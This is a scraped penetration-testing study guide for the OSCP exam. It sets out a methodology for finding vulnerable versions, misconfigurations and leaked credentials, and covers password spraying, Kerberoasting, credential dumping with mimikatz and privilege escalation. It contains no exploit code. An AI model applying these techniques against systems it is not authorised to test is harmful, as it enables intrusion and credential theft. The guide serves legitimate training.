\* Wappalzyer Plugin (\[Firefox\](https://addons.mozilla.org/en-CA/firefox/addon/wappalyzer/), or \[Chrome\](https://chromewebstore.google.com/detail/wappalyzer-technology-pro/gppongmhjkpfnbhagpmjfkannfbllamg?pli=1) for Burp).
\* Check the HTML source codes.
  \* Look for URLs, folder names, developer comments, etc.
\* Check HTTP Response Headers.
  \* Look for headers like: \`Server\`, \`X-Powered-By\`, etc.
\* For CMS, use WPScan / Droopescan / JoomlaScan / etc.
  {% endtab %}

{% tab title="Services on Open Port" %}
As for other running services, we can either detect their versions automatically with existing scanning tools, or interacting with them manually.

\* Service Detection with Nmap. (With the \`-sV\` flag.)
\* Banner Grabbing with Netcat & Telnet.
\* Interact with the service directly (E.g., SMB, FTP, SSH, etc.)
  {% endtab %}

{% tab title="Internal Services (Priv Esc)" %}
If you have <mark style="color:orange;">\*\*CLI access\*\*</mark> to the machine (E.g., Reverse Shell, SSH, etc.):

\* Run the service binary with \`--help\` ,\`-h\` , \`--version\` ,\`-v\` , etc.
\* Check if there is a installation file of the service.

If you have <mark style="color:orange;">\*\*GUI access\*\*</mark> to the machine (E.g., RDP):

\* Open the application and manually look for the version in the \`About\` section.
\* Check if there is a installation file of the service.
\* Sometimes the version number is also in the installation path / folder.&#x20;

If the service is running on an internally opened port, try to port-forward the service externally for Nmap Scanning.
{% endtab %}
{% endtabs %}

### Finding Exploits

{% tabs %}
{% tab title="Exploit Databases" %}
Most of the time, you will be able to find the exploit PoC on these databases&#x20;

\* \[Searchsploit\](https://www.exploit-db.com/searchsploit) on Kali command line.
\* \[Exploit-DB\](https://www.exploit-db.com/), \[Packet Storm\](https://packetstorm.news/),&#x20;
\* CVE databases (like \[MITRE\](https://cve.mitre.org/)) are usually not too helpful as they do not provide PoCs.
  \* Although some may link to the blogs & articles that may contain PoCs.
    {% endtab %}

{% tab title="GitHub " %}
If an exploit has a publicly available exploit, you can most likely find a PoC on GitHub written by some great security researchers. (It could be me or you someday!)

\* Google "\*CVE-XXX-XXX GitHub PoC\*" or "\*\\<service name> \\<version> exploit\*"
\* There are also some famous exploit repos like SecWiki's \[Windows Kernel Exploits\](https://github.com/SecWiki/windows-kernel-exploits).
\* Always CHECK the codes before running exploits from GitHub - they could be malicious.
  {% endtab %}

{% tab title="Metasploit" %}
Personally I never find the need to use Metasploit in the exam, since there will always be alternative PoCs available if that particular exploit is the intended path.

\* Regardless, it can sometimes be the easier way to exploit a vulnerability. For example, using Metasploit is probably the easiest way to exploit EternalBlue (apart from AutoBlue)
\* Alternatively, you can always review the \[Metasploit module source code\](https://github.com/rapid7/metasploit-framework/tree/master/modules) to understand how they exploit a vulnerability and do it manually. This is of course not recommended to be performed during the actual exam.
  {% endtab %}
  {% endtabs %}

### Using Exploits

{% tabs %}
{% tab title="Fixing Exploits" %}
While the exploits are publicly available, not all of them are ready-to-use without some <mark style="color:orange;">\*\*cleaning and fixing\*\*</mark>.&#x20;

\* The most common way of "fixing" an exploit is simply to change the source & target IP addresses, modify the exploit URI paths, provide the correct user credentials, etc.
\* Older Python exploits are written in Python2 and should be run with \`python2.7\` instead of \`python3\`.
\* Always remember to with add run permission with \`chmod +x <script file>\`.
\* Note that many exploits from Exploit-DB are not polished. On the another hand, GitHub usually have better quality PoCs.
  \* There can be all sorts of errors, such as incorrect indentations, extra spaces, incorrect spellings, etc. This would require you to have basic knowledge on the programming language to effective debug the exploits.
    {% endtab %}

{% tab title="Compiling Exploits" %}
Some exploits require <mark style="color:orange;">\*\*manual compilation\*\*</mark> using \`gcc\`, \`mingw\`, \`make\`, etc, but for OSCP level they should be relatively straightforward and shouldn't require a lot of fixing.&#x20;

\* Look for pre-compiled exploits, and have them saved in your Kali machine for easy reuse.
\* I have a folder containing over 50 precompiled exploits, especially for very commonly used ones such as Potato exploits, EXE reverse shells, PEAS, etc.
\* I also have another folder storing web shell payloads in many different languages, such as php, aspx, Go, Java, WordPress, etc.
  {% endtab %}

{% tab title="Matching Versions" %}
Make sure the exploit is applicable to the service version. Some exploits have a range of vulnerable versions, and older versions may not be vulnerable.

\* E.g. The famous \[Apache Path Traversal Vulnerability\](https://www.hackthebox.com/blog/cve-2021-41773-explained) is only vulnerable on Apache 2.4.49 and 2.4.50, but not other versions.
  {% endtab %}
  {% endtabs %}

## Misconfigurations

\*\*\*

If there are no vulnerable versions, we can then look into <mark style="color:orange;">\*\*misconfigurations\*\*</mark> in different services. The service itself may not be not vulnerable, but it can be set up incorrectly and unsafely.

The definition of misconfiguration here is pretty broad, since it basically covers <mark style="color:orange;">\*\*anything else that are NOT public exploits\*\*</mark> that can be plugged and played. You can expect all the "hacking techniques" being categorized here.&#x20;

### Key strategies

{% stepper %}
{% step %} <mark style="color:purple;">\*\*Enumerate Services\*\*</mark>

Understand what services are running, and their common attack vectors. For example, FTP Server -> Anonymous login? MySQL Service -> UDF code execution? Webpage with File Upload -> Uploading web shell? etc.
{% endstep %}

{% step %} <mark style="color:purple;">\*\*Finding Misconfigurations\*\*</mark>

This part requires mostly pattern recognition and experiences gained from grinding boxes and studying existing materials. Not many shortcuts here, but try to look for walkthroughs of boxes with similar services if you are stuck during the exam.
{% endstep %}

{% step %} <mark style="color:purple;">\*\*Exploiting Misconfigurations\*\*</mark>

The last step is much easier once you identified the vulnerable service. Some harder boxes may require you to chain multiple misconfigurations and other vulnerabilities, so make sure to take good notes for mapping the final attack path.
{% endstep %}
{% endstepper %}

### Enumerating Services

{% tabs %}
{% tab title="Web" %}
Make sure to thoroughly enumerate the web server. Few points to note here:

\* <mark style="color:orange;">\*\*Directory Busting\*\*</mark>\*\*:\*\*
  \* Hidden admin panels / Sensitive pages.
  \* Config files / \`.git\` Directory.
  \* Open directory listing.
\* <mark style="color:orange;">S</mark><mark style="color:orange;">\*\*ubdomain Enumeration\*\*</mark>\*\*:\*\*
  \* Hidden admin panels / Sensitive pages.
  \* API Endpoints.
\* <mark style="color:orange;">\*\*Webpage & Source code Review\*\*</mark>\*\*:\*\*
  \* Look for potential usernames / emails / credentials on page contents.
  \* Check HTML source codes (Hard-coded credentials / Developer comments / Hidden endpoints, etc.).
  \* Understand all functionalities, such as user login, file upload, etc, so that you can focus or skip relevant attack vectors based on the existing functions.

Remember to perform directory busting on <mark style="color:orange;">\*\*all the endpoints\*\*</mark>, including <mark style="color:orange;">\*\*different web ports and subdomains\*\*</mark>.&#x20;

\* Always use more than 2 directory busting tools and wordlists to avoid missing important endpoints.
\* Personally I run FeroxBuster with its default wordlist & DirSearch with "directory-list-2.3-medium.txt" separately on the same domain.
  {% endtab %}

{% tab title="Databases" %}
This mostly refers to SQL databases.&#x20;

\* Identify the SQL server in use - Is it MSSQL? MySQL? SQLite? etc.
\* Check for <mark style="color:orange;">\*\*anonymous login\*\*</mark> & <mark style="color:orange;">\*\*default / weak credentials\*\*</mark>.
  \* If that does not work, we will likely get the login credentials from elsewhere, such as web pages, file shares, email servers, etc.
\* For file-based databases like SQLite, the data is stored as a separate \`.db\` file, and can be usually be accessed without credentials if you can get your hands on the file.&#x20;
  {% endtab %}

{% tab title="File Shares" %}
This includes all the file shares such as FTP, SMB and NFS.

\* Always check for <mark style="color:orange;">\*\*anonymous login\*\*</mark> & <mark style="color:orange;">\*\*default / weak credentials\*\*</mark> first.
  \* If that does not work, we will likely get the login credentials from elsewhere, such as web pages, databases, email servers, etc.
    {% endtab %}

{% tab title="Remote Access" %}
This refers to services like Telnet, SSH, RDP, WinRM, etc.

\* These services are usually not directly exploitable without <mark style="color:orange;">\*\*correct credentials\*\*</mark>.
\* Regardless, there could still be some useful information.&#x20;
  \* For example, the Nmap script on SSH (\`ssh-hostkey\`) tells you what key algorithms are used for authentication (e.g., RSA, ECDSA, etc.)
  \* If RSA is in use, perhaps we will be hunting for \`id\_rsa\` private key somewhere. Similarly, the discovered SSH private key may be in \`id\_ecdsa\` format if ECDSA is in use.
    {% endtab %}
    {% endtabs %}

{% tabs %}
{% tab title="Mail Services" %}
This refers to services such as POP, IMAP and SMTP.

\* Check for <mark style="color:orange;">\*\*default & weak credentials\*\*</mark> like "\`admin:admin\`".
  \* If that does not work, we will likely get the login credentials from elsewhere, such as web pages, file shares, email servers, etc.
\* Even if un-authenticated, try to enumerate usernames from mail services.
\* It is also possible that they are designed for client-side attacks such as sending and received phishing emails.
  {% endtab %}

{% tab title="Other External Services" %}
This includes all other uncategorized services such as DNS, SNMP, or all other non-common services.

\* SNMP on UDP port 161 is often missed during port scan.&#x20;
  \* Always remember to run a separate <mark style="color:orange;">\*\*UDP scan\*\*</mark> on Nmap. You can do it with the \`-F\` flag to only scan for the top 100 common ports if the scanning is taking too long.
\* DNS is usually not designed to be exploitable especially in simulated boxes. Only try when everything else did not work.
\* All other services will require deeper research on what services usually use those ports. If names of the services are identified, try to go through their documentations to understand how to interact with them.
  \* Also check if there are any boxes walkthroughs that contain the service / port.
  \* Amazing resources from IppSec & 0xdf. You can use keywords of a service to search for walkthroughs:
    \* \[https://ippsec.rocks/\](https://ippsec.rocks/?#)
    \* <https://0xdf.gitlab.io/tags>
      {% endtab %}

{% tab title="Internal Services (Priv Esc)" %}
Enumerate services running internally via different methods such as:

\* Listing internal network connections (\`netstat -anolp\`).
  \* Look for open ports that are not exposed externally - maybe there is an MSSQL service running internally only?
  \* Identify what processes are running on the open ports.
\* List internal running processes.
\* Listing scheduled tasks.
\* Look for uncommon binaries / applications installed.
  {% endtab %}
  {% endtabs %}

{% tabs %}
{% tab title="Active Directory" %}
For AD environments in OSCP, 90% of the time it is about moving around different services and users by abusing <mark style="color:orange;">\*\*misconfigured user ACL\*\*</mark> or using <mark style="color:orange;">\*\*discovered credentials\*\*</mark>. To do so, we must map out all available services, as well as the relationships between the AD objects.

\* Bloodhound is the go-to tool for identifying misconfigured user & system ACL.&#x20;
\* Always remember to conduct full port scan on internal targets that are previously unreachable. There can be a MSSQL service running on an uncommon port, and your controlled user may have admin access to the service.
  {% endtab %}
  {% endtabs %}

### \*\*Finding & Exploiting Misconfigurations\*\*

{% tabs %}
{% tab title="Web" %}
This refers to all the basic web hacking stuff, with heavy focus on either getting sensitive information (LFI, File Read, etc), or directly getting system access (Web shell, RCE, etc). Here is a list of common attack vectors:

\* <mark style="color:orange;">\*\*Authentication Attacks\*\*</mark>: Default credentials / Anonymous Login / Weak Passwords
\* <mark style="color:orange;">\*\*Exposed Sensitive Files\*\*</mark>: Open Directory Listing / \`.git\` / Hidden admin panels, etc.
\* <mark style="color:orange;">\*\*SQL injection\*\*</mark>: Authentication Bypass / File Read & Write / RCE
\* <mark style="color:orange;">\*\*File Upload & Write\*\*</mark>: Web shell RCE / Overwrite Login & Config Files / Client side attacks
\* <mark style="color:orange;">\*\*File Read\*\*</mark>: Credential Files / Config Files / Process & Logs for sensitive information
\* <mark style="color:orange;">\*\*Path Traversal / File Inclusion\*\*</mark>: File Read / RCE
\* <mark style="color:orange;">\*\*Mass Assignment\*\*</mark>: Authentication Bypass
\* etc.

In the rare cases of client side attacks, here are also something you can be looking at:

\* <mark style="color:orange;">\*\*File Upload\*\*</mark>: Malicious Files for Reverse Shell
\* <mark style="color:orange;">\*\*XSS\*\*</mark>: Hijacking Session Token / Extracting Webpage Information
\* <mark style="color:orange;">\*\*CSRF\*\*</mark>: Sending URL for one-click attack
\* etc.
  {% endtab %}

{% tab title="Databases" %}
This assumes that you have already gained initial access to the database services.

\* Upon successful login, go through all of the non-default tables and databases.
  \* Mainly looking for <mark style="color:orange;">\*\*credentials\*\*</mark> (passwords & hashes).
  \* It may also be some weird stuff like emails about configurations, etc.
  \* List out all users of the database to look for new attack vectors.
\* All SQL injection attacks are naturally applicable once you can make SQL queries in the database.
  \* <mark style="color:orange;">\*\*MSSQL\*\*</mark> -> File Read & Write / RCE / NLTM Theft / etc.
  \* <mark style="color:orange;">\*\*MySQL\*\*</mark> -> File Read & Write / UDF for RCE / Dumping SQL User Creds / etc.
  \* Different attacks can be specific to certain database services.
    {% endtab %}

{% tab title="File Shares" %}
This assumes that you have already gained initial access to the file shares.

\* Upon successful login, go through all directories and files.
  \* Mainly looking for <mark style="color:orange;">\*\*credentials\*\*</mark> - It could be in configuration files, PDF files for onboarding employees, email backups, database files (\`.db\` file), Excel files, ZIP files, etc.&#x20;
  \* Apart from credentials, it can also be <mark style="color:orange;">\*\*sensitive information\*\*</mark> such as hidden endpoints, service versions, etc.
  \* Metadata may contain useful information such as usernames. (Check with \`exiftool\`)
  \* Sometimes the files (especially Excel & ZIP files) are <mark style="color:orange;">\*\*encrypted\*\*</mark> and require us to perform brute-force attacks with tools like \`zip2john\` and \`hashcat\`.&#x20;
  \* Always check for <mark style="color:orange;">\*\*Write Access\*\*</mark>. It is possible that the file share directory is also hosted in the web server, and we can upload a web shell onto the server.&#x20;

File shares are also privilege escalation vectors when there are misconfigurations or we have elevated permissions:

\* For NFS, if \`no\_root\_squash\` is set, we can escalate to root by uploading a SUID-bit set shell.
\* For SMB, admin access can lead to command execution with tools like \`NetExec\` and \`Impacket\` Suite. Username enumeration is also possible with brute-forcing RID.
  {% endtab %}

{% tab title="Remote Access" %}
This refers to services like Telnet, SSH, RDP, WinRM, etc.

\* As suggested, these services are usually not designed to be directly exploitable without correct credentials.
\* Regardless, always take notes on the services & their versions to check if there are public exploits.
\* Otherwise, this vector is mostly intended for weak authentication attacks, such as <mark style="color:orange;">\*\*default / weak credentials\*\*</mark>, <mark style="color:orange;">\*\*password spraying\*\*</mark> and <mark style="color:orange;">\*\*brute-forcing attacks\*\*</mark>.
  {% endtab %}
  {% endtabs %}

{% tabs %}
{% tab title="Mail Services" %}
This refers to services such as POP, IMAP and SMTP.

\* Even if un-authenticated, try to <mark style="color:orange;">\*\*enumerate usernames\*\*</mark> from mail services.
\* Upon successful login, go through all the email records.
  \* Mainly looking for <mark style="color:orange;">\*\*credentials\*\*</mark> in emails, such as employee onboarding emails, service reminders, credential updates, etc.
  \* If <mark style="color:orange;">\*\*client-side attacks\*\*</mark> are intended, there will be hints in the emails or other places such as the web pages.
    {% endtab %}

{% tab title="Other External Services" %}
This includes all other uncategorized services such as DNS, SNMP, or all other non-common services.

\* For SNMP on UDP port 161,  try to run \`smnpwalk\` with <mark style="color:orange;">\*\*default community strings\*\*</mark> (\`public\`, \`private\`, \`manager\`, etc.)&#x20;
  \* Look for sensitive information such as user emails, passwords, command history, etc.
\* As mentioned above, DNS is usually not designed to be exploitable in simulated boxes, and all other services will require deeper research on what services usually use those ports.&#x20;
  {% endtab %}

{% tab title="Internal Services (Priv Esc)" %}
Internal services are usually used to either escalate to a higher privilege, or move laterally to another user that have different sets of privileges.

\* For services running internally, if you have difficult using the services internally, you can always <mark style="color:orange;">\*\*port-forward\*\*</mark> the services to your Kali attacker machine.
  \* For example, I often port-forward internally running MSSQL services to my local Kali to use \`impacket-mssqlclient\` for easier enumeration and exploitation.
  \* SSH is mostly used for single port-forwarding, but there are also tools like \`plink.exe\`, \`socat\`, \`chisel\`, \`ligolo-ng\`, etc.
\* For scheduled tasks, locate the <mark style="color:orange;">\*\*source binary or script\*\*</mark> that is running.
  \* \[pspy\](https://github.com/DominicBreuker/pspy) is the go-to tool to discover scheduled tasks.
  \* Scheduled tasks are 99% the intended attack vector in simulated boxes, especially when it is running as root, or another high privilege user.
  \* Upon locating the binary or script, try to replace or modify it for reverse shells, spawning root shell, etc. This is usually within a <mark style="color:orange;">\*\*longer attack chain\*\*</mark>, where the scripts themselves are not directly editable, but can be modified by exploit another vulnerability.
\* For uncommon apps & binaries installed:
  \* They may either have <mark style="color:orange;">\*\*publicly available exploits\*\*</mark> once you identified the service and version;
  \* Alternatively, they may be custom-made services that are intentionally designed to be vulnerable to different attacks, such as command injection, dumping hardcoded credentials with \`strings\`, etc.
  \* They may also be (mis)configured to be able to run with admin privileges.
\* For apps & binaries that can be run with <mark style="color:orange;">\*\*admin privileges\*\*</mark> (e.g., SUID-bit set or \`sudo\` ):
  \* For Linux, \[GTFOBins\](https://gtfobins.github.io/) is the go-to repository to abuse binaries for privilege escalation.
  \* For Windows,  it is usually less straightforward. Regardless, the end goal is always to escalate your current privileges by actions such as getting admin credentials, spawning reverse shells, creating a new admin user, etc.
    {% endtab %}
    {% endtabs %}

{% tabs %}
{% tab title="System Misconfigurations" %}
This refers to system-level misconfigurations that are not associated with any particular services.&#x20;

\* Readable / Writable Sensitive Files.
  \* \`/etc/passwd\`, \`/etc/shadow\`, Extractable \`SAM\` & \`SYSTEM\` hives, SSH key files, Readable root / admin directories, etc.
\* Misconfigured / Elevated Privileges.
  \* Anything that can elevate privileges, for example:
    \* On Linux: \`sudo -l\` , Kernel Exploits, Privileged Group Memberships, etc.&#x20;
    \* On Windows, \`cmdkey /list\` , \`whoami /priv\`, Kernel Exploits, Registry Exploits, Service Path Misconfigurations, etc.
  \* Note that there are numerous priv-esc techniques that cannot be fully listed here.
    {% endtab %}

{% tab title="Active Directory" %}
While most of the Windows privilege escalation techniques also apply to that when working on an AD environment, there are AD-specific misconfigurations that work on a domain level, for example:

\* <mark style="color:orange;">\*\*User ACL\*\*</mark>: A user is allowed to change the password of another user, adding oneself to another group, etc.
\* <mark style="color:orange;">\*\*Disabled Kerberos Pre-auth\*\*</mark>: Allowing AS-REP roasting attacks to extract password hashes of misconfigured users.
\* <mark style="color:orange;">\*\*SPN Configured\*\*</mark>: Allowing Kerberoasting attacks to extract password hashes of misconfigured users.
\* etc.
  {% endtab %}
  {% endtabs %}

## Sensitive Information

\*\*\*

If none of the above vulnerabilities can be identified after thorough enumeration, it is likely that the weakness lies not on the services nor misconfigurations, but on <mark style="color:orange;">\*\*human errors\*\*</mark> such as leaked credentials, exposed internal directories, or any type of disclosed <mark style="color:orange;">\*\*sensitive information\*\*</mark>.

This particular attack vector is usually a by-product of enumerating the running services. Sensitive information can be revealed in all sorts of formats, such as error messages when poking around, hidden directories discovered with directory busting, credential files found in file shares, etc. The key here is to always take good notes on all discovery, and to always make sure you have not missed a single detail during enumeration. Remember, enumerate, enumerate, enumerate!

### Key strategies

{% stepper %}
{% step %} <mark style="color:purple;">\*\*Gathering Information\*\*</mark>

Collect and record whatever you can during the enumeration process. Pay extra attention to things that related to authentication functions, user credentials (names, emails & passwords), error messages, hidden directories and files, and more.
{% endstep %}

{% step %} <mark style="color:purple;">\*\*Using Information\*\*</mark>

With the gathered information, we can now put the pieces together. Do we have credentials that we can brute-force or spray? Do the hidden directories and files contain credentials or configurations? The possibilities are endless and would require case-by-case analysis.
{% endstep %}
{% endstepper %}

### Gathering Information

{% tabs %}
{% tab title="Web" %}
Make sure to thoroughly enumerate the web server. This will look a lot similar to the previous sections:

\* <mark style="color:orange;">\*\*Directory Busting\*\*</mark>\*\*:\*\*
  \* Hidden admin panels / Sensitive pages (e.g., \`phpinfo\`).
  \* Config files (e.g., \`.htaccess\`) / \`.git\` Directory.
    \* \`.git\` is a gold mine for information. You can get your hands on the application's source code to identify potential attack vectors (e.g., SQL injections), or there can be hardcoded credentials and session tokens within the source codes.
  \* Open directory listing.
\* <mark style="color:orange;">S</mark><mark style="color:orange;">\*\*ubdomain Enumeration\*\*</mark>\*\*:\*\*
  \* Sometimes the good stuffs are hidden behind another Vhost. Always run subdomain enumeration and directory busting on the newly discovered subdomains.
\* <mark style="color:orange;">\*\*Webpage & Source code Review\*\*</mark>\*\*:\*\*
  \* Look for potential usernames / emails / credentials on page contents.
    \* The \`About Us\` & \`Contacts\` sections usually contain emails & domain name information.
    \* For blog-like applications, the blog articles often come with author names and comments with commenter names.
    \* Some may also put down passwords under the blog posts or comments.
  \* Check HTML source codes (Hard-coded credentials / Developer comments / Hidden endpoints, etc.).
    {% endtab %}

{% tab title="Databases" %}
Upon successful login, go through all of the non-default tables and databases.

\* Mainly looking for <mark style="color:orange;">\*\*credentials\*\*</mark> (password & hashes).
  \* Many CMS stores user passwords and hashes under tables such as \`users\`, \`login\`, etc.
\* List out all users of the database for new usernames.
\* Some SQL services, such as MySQL, also store password hashes of the users. Remember to dump those out for cracking.
  {% endtab %}

{% tab title="File Shares" %}
Upon successful login, go through all directories and files.

\* Mainly looking for <mark style="color:orange;">\*\*credentials\*\*</mark> - It could be in configuration files, PDF files for onboarding employees, email backups, database files (\`.db\` file), Excel files, ZIP files, etc.&#x20;
\* Apart from credentials, it can also be <mark style="color:orange;">\*\*sensitive information\*\*</mark> such as hidden endpoints, service versions, etc.
\* Metadata may contain useful information such as usernames. (Check with \`exiftool\`)
\* Sometimes the files (especially Excel & ZIP files) are <mark style="color:orange;">\*\*encrypted\*\*</mark> and require us to perform brute-force attacks with tools like \`zip2john\` and \`hashcat\`.&#x20;
  {% endtab %}

{% tab title="Remote Access" %}
This refers to services like Telnet, SSH, RDP, WinRM, etc.

\* These services are usually not directly exploitable without <mark style="color:orange;">\*\*correct credentials\*\*</mark>.
\* Regardless, there could still be some useful information.&#x20;
  \* For example, the Nmap script on SSH (\`ssh-hostkey\`) tells you what key algorithms are used for authentication (e.g., RSA, ECDSA, etc.)
  \* If RSA is in use, perhaps we will be hunting for \`id\_rsa\` private key somewhere. Similarly, the discovered SSH private key may be in \`id\_ecdsa\` format if ECDSA is in use.
    {% endtab %}
    {% endtabs %}

{% tabs %}
{% tab title="Mail Services" %}
Emails are often designed to be a realistic scenario of where sensitive information lies:

\* Upon successful login, go through all the emails to check if they have mentioned anything about credentials, development site, configurations, etc.
\* Even if un-authenticated, try to enumerate usernames from mail services such as POP3 and SMTP (See the \[example\](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration) here at HackTricks). The identified usernames can then be passed to other services for brute-forcing / password spraying attacks.
  {% endtab %}

{% tab title="Other External Services" %}
This includes all other uncategorized services such as DNS, SNMP, or all other non-common services, but I would like to put heavy focus on SNMP here.

\* For SNMP on UDP port 161,  try to run \`smnpwalk\` with <mark style="color:orange;">\*\*default community strings\*\*</mark> (\`public\`, \`private\`, \`manager\`, etc.)&#x20;
\* I have seen the following sensitive information exposed in SNMP:
  \* Command histories containing passwords
    \* User Emails
    \* Usernames
    \* Processes running
    \* etc.
      {% endtab %}

{% tab title="Internal Enumeration" %}
In case of hunting for sensitive information internally, here are some general directions you can look into:

\* Go through ALL <mark style="color:orange;">\*\*configuration files\*\*</mark> of the running services. 90% of the time there are hard-coded credentials that can be sprayed again to escalate privileges.
\* Look for SSH key files. They can be in a user's home directory (\`/.ssh/\`), or they can be lying on some file share, some notes, etc.
\* Go for <mark style="color:orange;">\*\*command histories\*\*</mark>. They may have records of previous commands that contain user credentials.
\* In a realistic scenario, a user may leave their credentials in a text file lying on the Desktop, or in a note app, in an excel file, etc.&#x20;
\* System administrators also often store credentials in the <mark style="color:orange;">\*\*environmental variables\*\*</mark> for easier access.
\* Look for Password Manager Database files, e.g., \`.kdbx\` for KeePass.&#x20;
\* For Windows, credentials may be stored within <mark style="color:orange;">\*\*registry\*\*</mark> entries, unattended installation files, etc. There may even be system backups of the SAM and SYSTEM hive that allow you to dump all credentials of the Windows machine.
  {% endtab %}
  {% endtabs %}

{% tabs %}
{% tab title="Active Directory" %}
For AD environments, we can enumerate sensitive information in many ways, for example:

\* Extract valid usernames via <mark style="color:orange;">\*\*anonymous LDAP dumping\*\*</mark>,  <mark style="color:orange;">\*\*SMB RID cycling\*\*</mark> and running Kerberos pre-auth brute-forcing (with \[Kerbrute\](https://github.com/ropnop/kerbrute)).
\* Go through all the readable file shares and databases.
\* Dump domain-level credentials with local administrator privileges.
  \* Once you escalated your privilege on a domain machine as the local administrator, you will mostly discover new credentials of other domain users, either via dumping them with tools like \`mimikatz\` & \`impacket-secretsdump\`, or finding them in registry, config files, or any other locations that are previously inaccessible.
    {% endtab %}
    {% endtabs %}

### Using Information

{% tabs %}
{% tab title="Brute-forcing" %}
Suppose you only found potential usernames. We can always run a quick brute-force login attack to check if this is the intended path.

\* Always start out with <mark style="color:orange;">\*\*default & common credentials\*\*</mark>. It also doesn't hurt to try username, service name, or box name as passwords&#x20;
\* As for the password wordlist, \`rockyou.txt\` will do the job within 10-20 minutes if brute-forcing is the intended attack path.

Note that you can also brute-force for usernames if you have a valid password, or if the service itself is vulnerable to username enumeration.

\* For example, some mail services like POP3 and SMTP may be misconfigured to allow username enumeration (See the \[example\](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration) here at HackTricks)
\* Some web applications may also be vulnerable to username enumeration due to improper error messages (e.g., \`Username does not exist!\`)
\* As mentioned above, we can also brute-force domain usernames from Kerberos running on Port 88 with \[Kerbrute\](https://github.com/ropnop/kerbrute).
\* I usually use \`/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt\` from \[SecLists\](https://github.com/danielmiessler/SecLists).  You can run \`sudo apt install seclists\` to install SecLists on Kali.
  {% endtab %}

{% tab title="Password Spraying" %}
Suppose you have a few different potential usernames and passwords, the best approach is to <mark style="color:orange;">\*\*spray all passwords\*\*</mark> to all identified usernames <mark style="color:orange;">\*\*in all combinations\*\*</mark>.

\* For example, if you have found the following user list: \`peter, john, mary\`, with the following passwords, \`P@ss123!, Letme1n#\`, then you will have 6 possible combinations in total. However, you should also include <mark style="color:orange;">\*\*default usernames\*\*</mark> such as administrator in to the user list, making it 8 possible combinations in total.
  \* Just put all the usernames in a \`user.txt\`, and the passwords in a \`pass.txt\`, and supply the files as arguments when running tools like \`Hydra\` and \`NetExec\`.
\* Always remember to spray them on <mark style="color:orange;">\*\*ALL services\*\*</mark>, such as webpages, SQL, SMB, FTP, SSH, and anything with a login function.
  {% endtab %}

{% tab title="Other Usages" %}
This is a general section on all other information that can be classified as sensitive, but are not credentials, such as hidden directories, config files, etc.

\* Generally, these types of information provide you with hints to continue on the attack path, where you may either discover misconfigurations or version info that can be exploited, or actual credentials hidden in a deeper layer of the attack path.&#x20;
\* All you have to do is to follow the lead and rerun the enumeration cycle on the three attack vectors, until you discover information that can help escalate your current privileges.
  {% endtab %}
  {% endtabs %}

{% tabs %}
{% tab title="Active Directory" %}
Here are some specific tips for brute-forcing & password spraying in Active Directory:

\* \[NetExec\](https://www.netexec.wiki/) has all the functionality you need for spraying passwords on different services.&#x20;
  \* I always run NetExec with the possible credential combinations on ALL available services: \`SMB, LDAP, MSSQL, WinRM, WMI, RDP, SSH, FTP\`, etc.
  \* When the \`-d\` flag (domain) is not specified, NetExec will by default authenticate the user with the domain provided by the target machine.
  \* Remember to add \`--local-auth\` at the end of the command for a second round of spraying. While the credential pairs may not be valid in the domain, it is always possible that it is a local account (I have success with this in actual engagements).
\* Always check the <mark style="color:orange;">\*\*password policies\*\*</mark> to see if there is account lockout. If that is the case, it means that brute-forcing AD authentication is likely not the intended path.
  \* You can do that with \`nxc smb <ip> -u <user> -p <pass> --pass-pol\`.
    {% endtab %}
    {% endtabs %}

## Conclusion

\*\*\*

If you read till the end, I sincerely thank you for having the patience to go through my two cents on how to approach the OSCP exam. This is definitely not an exhaustive list, and it may also come across as a bit too exam-oriented. While I understand that real-life hacking involves way more techniques and depths, I truly hope this guide can be a good start to build one's methodology from scratch.

Hopefully what I have learnt along the way had provide some value to your journey, and I am always open to constructive feedbacks for improvements.

---

# Unknown

\> For the complete documentation index, see \[llms.txt\](https://hackwithmike.gitbook.io/oscp/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://hackwithmike.gitbook.io/oscp/welcome.md).

# Mike's OSCP Guide

## \*\*Important Notice\*\*

⚠️ \*\*I have migrated all my notes to the new website:\*\* \[\*\*https://hackwithmike.com\*\*\](https://hackwithmike.com)\*\*. All future updates will only be pushed on the new site\*\* \[\*\*https://hackwithmike.com/oscp\*\*\](https://hackwithmike.com/oscp)\*\*/.\*\*&#x20;

### Introduction

I passed the OSCP exam twice - OSCP with 110/110 points in October 2024, and OSCP+ with 80/100 points in November 2024. I believe learners would benefit with some practical tips alongside OffSec's official PEN200 training, and I hope to share my notes to help everyone that is on the same path as I was on.

I strive to give full credits to the original authors, as well as explaining the concepts in my own words. Please do not hesitate to reach out to me if you find anything inaccurate, inappropriate or without proper credit.&#x20;

The project is still in development, and you can expect more refined content over time.

### OSCP Tips & Tricks

You may start from here :

<table data-view="cards"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th><th data-hidden data-card-cover data-type="files"></th></tr></thead><tbody><tr><td><strong>OSCP Methodology</strong></td><td>My detailed OSCP methodology</td><td></td><td><a href="/pages/3FV9CNpAY0Ll9zlOLJMu">/pages/3FV9CNpAY0Ll9zlOLJMu</a></td><td><a href="/files/c5yXzqhI43CKzhpLNrRa">/files/c5yXzqhI43CKzhpLNrRa</a></td></tr><tr><td><strong>OSCP Last Minute Tips</strong></td><td>Some plug-and-play tricks you may use in the exam</td><td></td><td><a href="/pages/QAWS5ccK0TEuK0BXwefZ">/pages/QAWS5ccK0TEuK0BXwefZ</a></td><td><a href="/files/s1O1FWMZaX6op2poxraj">/files/s1O1FWMZaX6op2poxraj</a></td></tr></tbody></table>

### About Me

I am Mike, and I am currently a Cybersecurity Consultant specializing in offensive security. I hold certification such as OSCP+, OSCP, eCPPT, Security+, and more. I have a passion in sharing what I know, and I also believe that is the best (and probably only) way to consolidate my learning and structure my knowledge base.&#x20;

### Follow Me

You may find me on \[LinkedIn\](https://www.linkedin.com/in/michael-kh-chan/). I'm always happy to talk & connect!

---

# Unknown

\> For the complete documentation index, see \[llms.txt\](https://hackwithmike.gitbook.io/oscp/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://hackwithmike.gitbook.io/oscp/methodology/oscp-last-minute-tips.md).

# OSCP Last Minute Tips

## \*\*Important Notice\*\*

